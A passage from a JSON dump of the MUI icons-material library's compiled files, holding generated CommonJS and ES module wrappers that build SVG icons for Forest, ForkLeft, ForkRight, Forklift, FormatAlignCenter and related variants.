    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zm-.5 4v3H11v-3h-1v3h-.5v-3h-1v3c0 .83.67 1.5 1.5 1.5v4h1v-4c.83 0 1.5-.67 1.5-1.5v-3zm1.5 2v3h1V18h1V9.5c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9zm-.5 6.5v3H11v-3h-1v3h-.5v-3h-1v3c0 .83.67 1.5 1.5 1.5v4h1v-4c.83 0 1.5-.67 1.5-1.5v-3zm1.5 2v3h1V18h1V9.5c-1.1 0-2 .9-2 2\"\n}, \"1\")], 'FoodBankTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forest.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 12 9 2 2 12h1.86L0 18h7v4h4v-4h7l-3.86-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.14 12H22L15 2l-2.39 3.41L17.92 13h-1.95l3.22 5H24zM13 19h4v3h-4z\"\n}, \"1\")], 'Forest');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forest.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 12 9 2 2 12h1.86L0 18h7v4h4v-4h7l-3.86-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.14 12H22L15 2l-2.39 3.41L17.92 13h-1.95l3.22 5H24zM13 19h4v3h-4z\"\n}, \"1\")], 'Forest');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForestOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m24 18-3.86-6H22L15 2l-3 4.29L9 2 2 12h1.86L0 18h7v4h4v-4h2v4h4v-4zM15 5.49 18.16 10h-1.68l3.86 6h-3.62l-2.57-4H16l-2.78-3.97zM3.66 16l3.86-6H5.84L9 5.49 12.16 10h-1.68l3.86 6z\"\n}), 'ForestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForestOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m24 18-3.86-6H22L15 2l-3 4.29L9 2 2 12h1.86L0 18h7v4h4v-4h2v4h4v-4zM15 5.49 18.16 10h-1.68l3.86 6h-3.62l-2.57-4H16l-2.78-3.97zM3.66 16l3.86-6H5.84L9 5.49 12.16 10h-1.68l3.86 6z\"\n}), 'ForestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForestRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.14 12h-.06c.81 0 1.28-.91.82-1.57L9.82 3.17c-.4-.57-1.24-.57-1.64 0L3.1 10.43c-.46.66.01 1.57.82 1.57h-.06L.99 16.46c-.43.66.05 1.54.84 1.54H7v2c0 1.1.9 2 2 2s2-.9 2-2v-2h5.17c.79 0 1.27-.88.84-1.54z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.01 16.46 20.14 12h-.06c.81 0 1.28-.91.82-1.57l-5.08-7.26c-.4-.57-1.24-.57-1.64 0l-1.57 2.24 3.11 4.44c.43.61.48 1.41.14 2.07-.08.16-.18.3-.3.43l2.29 3.57c.4.62.42 1.4.07 2.04-.01.02-.02.03-.03.04h4.28c.79 0 1.27-.88.84-1.54M13 20c0 1.1.9 2 2 2s2-.9 2-2v-1h-4z\"\n}, \"1\")], 'ForestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForestRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.14 12h-.06c.81 0 1.28-.91.82-1.57L9.82 3.17c-.4-.57-1.24-.57-1.64 0L3.1 10.43c-.46.66.01 1.57.82 1.57h-.06L.99 16.46c-.43.66.05 1.54.84 1.54H7v2c0 1.1.9 2 2 2s2-.9 2-2v-2h5.17c.79 0 1.27-.88.84-1.54z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.01 16.46 20.14 12h-.06c.81 0 1.28-.91.82-1.57l-5.08-7.26c-.4-.57-1.24-.57-1.64 0l-1.57 2.24 3.11 4.44c.43.61.48 1.41.14 2.07-.08.16-.18.3-.3.43l2.29 3.57c.4.62.42 1.4.07 2.04-.01.02-.02.03-.03.04h4.28c.79 0 1.27-.88.84-1.54M13 20c0 1.1.9 2 2 2s2-.9 2-2v-1h-4z\"\n}, \"1\")], 'ForestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForestSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 12 9 2 2 12h1.86L0 18h7v4h4v-4h7l-3.86-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.14 12H22L15 2l-2.39 3.41L17.92 13h-1.95l3.22 5H24zM13 19h4v3h-4z\"\n}, \"1\")], 'ForestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForestSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 12 9 2 2 12h1.86L0 18h7v4h4v-4h7l-3.86-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.14 12H22L15 2l-2.39 3.41L17.92 13h-1.95l3.22 5H24zM13 19h4v3h-4z\"\n}, \"1\")], 'ForestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForestTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.48 10h1.68L15 5.49l-1.78 2.54L16 12h-1.86l2.57 4h3.63zm-4.32 0L9 5.49 5.84 10h1.68l-3.86 6h10.68l-3.86-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.14 12H22L15 2l-3 4.29L9 2 2 12h1.86L0 18h7v4h4v-4h2v4h4v-4h7zM3.66 16l3.86-6H5.84L9 5.49 12.16 10h-1.68l3.86 6zm13.05 0-2.57-4H16l-2.78-3.97L15 5.49 18.16 10h-1.68l3.86 6z\"\n}, \"1\")], 'ForestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForestTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.48 10h1.68L15 5.49l-1.78 2.54L16 12h-1.86l2.57 4h3.63zm-4.32 0L9 5.49 5.84 10h1.68l-3.86 6h10.68l-3.86-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.14 12H22L15 2l-3 4.29L9 2 2 12h1.86L0 18h7v4h4v-4h2v4h4v-4h7zM3.66 16l3.86-6H5.84L9 5.49 12.16 10h-1.68l3.86 6zm13.05 0-2.57-4H16l-2.78-3.97L15 5.49 18.16 10h-1.68l3.86 6z\"\n}, \"1\")], 'ForestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.41 15.59 8 17l-4-4 4-4 1.41 1.41L7.83 12c1.51-.33 3.73.08 5.17 1.36V6.83l-1.59 1.59L10 7l4-4 4 4-1.41 1.41L15 6.83V21h-2v-4c-.73-2.58-3.07-3.47-5.17-3z\"\n}), 'ForkLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.41 15.59 8 17l-4-4 4-4 1.41 1.41L7.83 12c1.51-.33 3.73.08 5.17 1.36V6.83l-1.59 1.59L10 7l4-4 4 4-1.41 1.41L15 6.83V21h-2v-4c-.73-2.58-3.07-3.47-5.17-3z\"\n}), 'ForkLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.41 15.59 8 17l-4-4 4-4 1.41 1.41L7.83 12c1.51-.33 3.73.08 5.17 1.36V6.83l-1.59 1.59L10 7l4-4 4 4-1.41 1.41L15 6.83V21h-2v-4c-.73-2.58-3.07-3.47-5.17-3z\"\n}), 'ForkLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.41 15.59 8 17l-4-4 4-4 1.41 1.41L7.83 12c1.51-.33 3.73.08 5.17 1.36V6.83l-1.59 1.59L10 7l4-4 4 4-1.41 1.41L15 6.83V21h-2v-4c-.73-2.58-3.07-3.47-5.17-3z\"\n}), 'ForkLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 20c0 .55-.45 1-1 1s-1-.45-1-1v-3c-.73-2.58-3.07-3.47-5.17-3l.88.88c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L4.71 13.7a.996.996 0 0 1 0-1.41L7.3 9.7c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-.88.89c1.51-.33 3.73.08 5.17 1.36V6.83l-.88.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l2.59-2.59c.39-.39 1.02-.39 1.41 0L17.3 6.3c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L15 6.83z\"\n}), 'ForkLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 20c0 .55-.45 1-1 1s-1-.45-1-1v-3c-.73-2.58-3.07-3.47-5.17-3l.88.88c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L4.71 13.7a.996.996 0 0 1 0-1.41L7.3 9.7c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-.88.89c1.51-.33 3.73.08 5.17 1.36V6.83l-.88.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l2.59-2.59c.39-.39 1.02-.39 1.41 0L17.3 6.3c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L15 6.83z\"\n}), 'ForkLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.41 15.59 8 17l-4-4 4-4 1.41 1.41L7.83 12c1.51-.33 3.73.08 5.17 1.36V6.83l-1.59 1.59L10 7l4-4 4 4-1.41 1.41L15 6.83V21h-2v-4c-.73-2.58-3.07-3.47-5.17-3z\"\n}), 'ForkLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.41 15.59 8 17l-4-4 4-4 1.41 1.41L7.83 12c1.51-.33 3.73.08 5.17 1.36V6.83l-1.59 1.59L10 7l4-4 4 4-1.41 1.41L15 6.83V21h-2v-4c-.73-2.58-3.07-3.47-5.17-3z\"\n}), 'ForkLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.41 15.59 8 17l-4-4 4-4 1.41 1.41L7.83 12c1.51-.33 3.73.08 5.17 1.36V6.83l-1.59 1.59L10 7l4-4 4 4-1.41 1.41L15 6.83V21h-2v-4c-.73-2.58-3.07-3.47-5.17-3z\"\n}), 'ForkLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.41 15.59 8 17l-4-4 4-4 1.41 1.41L7.83 12c1.51-.33 3.73.08 5.17 1.36V6.83l-1.59 1.59L10 7l4-4 4 4-1.41 1.41L15 6.83V21h-2v-4c-.73-2.58-3.07-3.47-5.17-3z\"\n}), 'ForkLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 15.59 16 17l4-4-4-4-1.41 1.41L16.17 12c-1.51-.33-3.73.08-5.17 1.36V6.83l1.59 1.59L14 7l-4-4-4 4 1.41 1.41L9 6.83V21h2v-4c.73-2.58 3.07-3.47 5.17-3z\"\n}), 'ForkRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 15.59 16 17l4-4-4-4-1.41 1.41L16.17 12c-1.51-.33-3.73.08-5.17 1.36V6.83l1.59 1.59L14 7l-4-4-4 4 1.41 1.41L9 6.83V21h2v-4c.73-2.58 3.07-3.47 5.17-3z\"\n}), 'ForkRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 15.59 16 17l4-4-4-4-1.41 1.41L16.17 12c-1.51-.33-3.73.08-5.17 1.36V6.83l1.59 1.59L14 7l-4-4-4 4 1.41 1.41L9 6.83V21h2v-4c.73-2.58 3.07-3.47 5.17-3z\"\n}), 'ForkRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 15.59 16 17l4-4-4-4-1.41 1.41L16.17 12c-1.51-.33-3.73.08-5.17 1.36V6.83l1.59 1.59L14 7l-4-4-4 4 1.41 1.41L9 6.83V21h2v-4c.73-2.58 3.07-3.47 5.17-3z\"\n}), 'ForkRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 20c0 .55.45 1 1 1s1-.45 1-1v-3c.73-2.58 3.07-3.47 5.17-3l-.88.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L16.7 9.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.89c-1.51-.33-3.73.08-5.17 1.36V6.83l.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L10.7 3.71a.996.996 0 0 0-1.41 0L6.71 6.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L9 6.83z\"\n}), 'ForkRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 20c0 .55.45 1 1 1s1-.45 1-1v-3c.73-2.58 3.07-3.47 5.17-3l-.88.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L16.7 9.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.89c-1.51-.33-3.73.08-5.17 1.36V6.83l.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L10.7 3.71a.996.996 0 0 0-1.41 0L6.71 6.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L9 6.83z\"\n}), 'ForkRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 15.59 16 17l4-4-4-4-1.41 1.41L16.17 12c-1.51-.33-3.73.08-5.17 1.36V6.83l1.59 1.59L14 7l-4-4-4 4 1.41 1.41L9 6.83V21h2v-4c.73-2.58 3.07-3.47 5.17-3z\"\n}), 'ForkRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 15.59 16 17l4-4-4-4-1.41 1.41L16.17 12c-1.51-.33-3.73.08-5.17 1.36V6.83l1.59 1.59L14 7l-4-4-4 4 1.41 1.41L9 6.83V21h2v-4c.73-2.58 3.07-3.47 5.17-3z\"\n}), 'ForkRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 15.59 16 17l4-4-4-4-1.41 1.41L16.17 12c-1.51-.33-3.73.08-5.17 1.36V6.83l1.59 1.59L14 7l-4-4-4 4 1.41 1.41L9 6.83V21h2v-4c.73-2.58 3.07-3.47 5.17-3z\"\n}), 'ForkRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForkRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 15.59 16 17l4-4-4-4-1.41 1.41L16.17 12c-1.51-.33-3.73.08-5.17 1.36V6.83l1.59 1.59L14 7l-4-4-4 4 1.41 1.41L9 6.83V21h2v-4c.73-2.58 3.07-3.47 5.17-3z\"\n}), 'ForkRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forklift.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 17v2h-5V3h2v14zm-6.27-1.85c.17.42.27.87.27 1.35 0 1.93-1.57 3.5-3.5 3.5-1.4 0-2.6-.82-3.16-2H6.83A2.99 2.99 0 0 1 4 20c-1.66 0-3-1.34-3-3 0-.89.39-1.69 1-2.24V10h2V4h8zM5 17c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m8.65-4-2.97-7H6v4l2.92 3zM15 16.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'Forklift');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forklift.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 17v2h-5V3h2v14zm-6.27-1.85c.17.42.27.87.27 1.35 0 1.93-1.57 3.5-3.5 3.5-1.4 0-2.6-.82-3.16-2H6.83A2.99 2.99 0 0 1 4 20c-1.66 0-3-1.34-3-3 0-.89.39-1.69 1-2.24V10h2V4h8zM5 17c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m8.65-4-2.97-7H6v4l2.92 3zM15 16.5c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'Forklift');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15v2h10v-2zm-4 6h18v-2H3zm0-8h18v-2H3zm4-6v2h10V7zM3 3v2h18V3z\"\n}), 'FormatAlignCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15v2h10v-2zm-4 6h18v-2H3zm0-8h18v-2H3zm4-6v2h10V7zM3 3v2h18V3z\"\n}), 'FormatAlignCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15v2h10v-2zm-4 6h18v-2H3zm0-8h18v-2H3zm4-6v2h10V7zM3 3v2h18V3z\"\n}), 'FormatAlignCenterOutlined');"
  },
  {
